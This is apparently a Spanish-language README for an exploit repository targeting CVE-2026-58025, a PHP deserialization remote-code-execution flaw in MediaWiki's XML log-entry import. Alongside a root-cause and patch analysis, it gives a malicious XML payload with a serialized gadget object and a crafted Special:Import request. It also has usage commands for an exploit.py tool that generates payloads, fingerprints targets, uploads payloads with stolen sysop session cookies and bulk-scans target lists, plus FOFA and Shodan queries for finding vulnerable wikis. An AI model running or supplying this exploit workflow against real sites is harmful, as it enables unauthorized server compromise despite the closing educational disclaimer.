
CVE-2026-58025 — RCE por deserialización en MediaWiki mediante importación de entradas de registro. LogEntryBase::extractParams() aplica unserialize() a log_params controlados por el usuario. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 es una vulnerabilidad crítica (CVSS 9.8) de deserialización de datos no confiables en MediaWiki (Wikimedia Foundation). El método LogEntryBase::extractParams() llamaba a sobre los parámetros de entradas de registro controlados por el usuario sin restringir qué clases de PHP podían instanciarse. Un atacante con el permiso o (por defecto: grupo ) podía crear un archivo de importación XML malicioso que contuviera objetos PHP serializados en los campos , lo que provocaba la instanciación arbitraria de objetos y una posible ejecución remota de código mediante cadenas de gadgets.
unserialize()importuploadimportsysop<params>| Rama de versión | Vulnerable | Parcheada |
|---|---|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
Requisitos: El permiso
importoimportupload(por defecto: gruposysop). El atacante debe poder subir o importar un archivo XML a Special:Import de MediaWiki.
LogEntryBase::extractParams() en includes/Logging/LogEntryBase.php llamaba a unserialize() directamente sobre el blob log_params sin ninguna restricción de clases:
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
Este método se llama desde múltiples ubicaciones:
| Archivo | Línea | Contexto |
|---|---|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — leyendo entradas de registro desde la BD |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — analizando cambios recientes |
includes/Import/WikiRevision.php | 638 | importLogItem() — importando entradas de registro desde XML |
maintenance/purgeChangedFiles.php | 182 | Análisis de registros del script de mantenimiento |
tests/phpunit/maintenance/DumpAsserter.php | 541 | Auxiliar de pruebas |
El vector de ataque principal es la importación XML a través de Special:Import:
import/importupload) crea un archivo de exportación XML malicioso de MediaWiki<logitem> con un campo <params> que contiene una carga útil PHP serializadaWikiImporter::processLogItem() → WikiRevision::importLogItem() almacena la entrada de registroDatabaseLogEntry::getParameters(), RecentChange::parseParams() o la visualización del registro), LogEntryBase::extractParams() llama a unserialize() sobre el blob controlado por el atacantePOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
El campo <params> de la importación XML acepta cadenas PHP serializadas estándar. Una entrada segura (benigna):
a:1:{s:3:"foo";s:3:"bar";}
Una entrada maliciosa que contiene un objeto serializado:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
Cuando se llama a unserialize() sin la restricción allowed_classes, el objeto se instancia por completo. Con una cadena de gadgets disponible (por ejemplo, de bibliotecas instaladas vía Composer), esto se convierte en RCE.
Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c
Autor: Bartosz Dziewoński
Fecha: 2026-06-29
La corrección implementa múltiples capas de defensa:
unserialize() restringido con allowed_classes// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams()Detecta instancias de __PHP_Incomplete_Class (objetos que fueron bloqueados por allowed_classes):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()Nueva comprobación de permiso logentryimport (no concedido a nadie por defecto):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — rechazo de parámetros no segurosif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — visualización segura de entradas maliciosas existentesLa nueva clase UnsafeLogFormatter reemplaza al formateador normal para las entradas que contienen objetos bloqueados, mostrando un mensaje de marcador de posición en lugar de intentar formatear los datos peligrosos.
La misma investigación (T422244) también identificó que el tipo de parámetro raw de LogFormatter permitía la salida de HTML sin procesar a partir de parámetros de registro controlados por el usuario. Esto se corrigió en un commit complementario cambiando Message::rawParam() por Message::plaintextParam().
El exploit.py incluido genera un archivo de importación XML malicioso para MediaWiki que contiene objetos PHP serializados en los parámetros de las entradas de registro. También puede tomar la huella digital de instancias de MediaWiki e intentar la importación a través de la API.
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTMLEste exploit se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. No lo utilices contra sistemas sin el permiso explícito del propietario.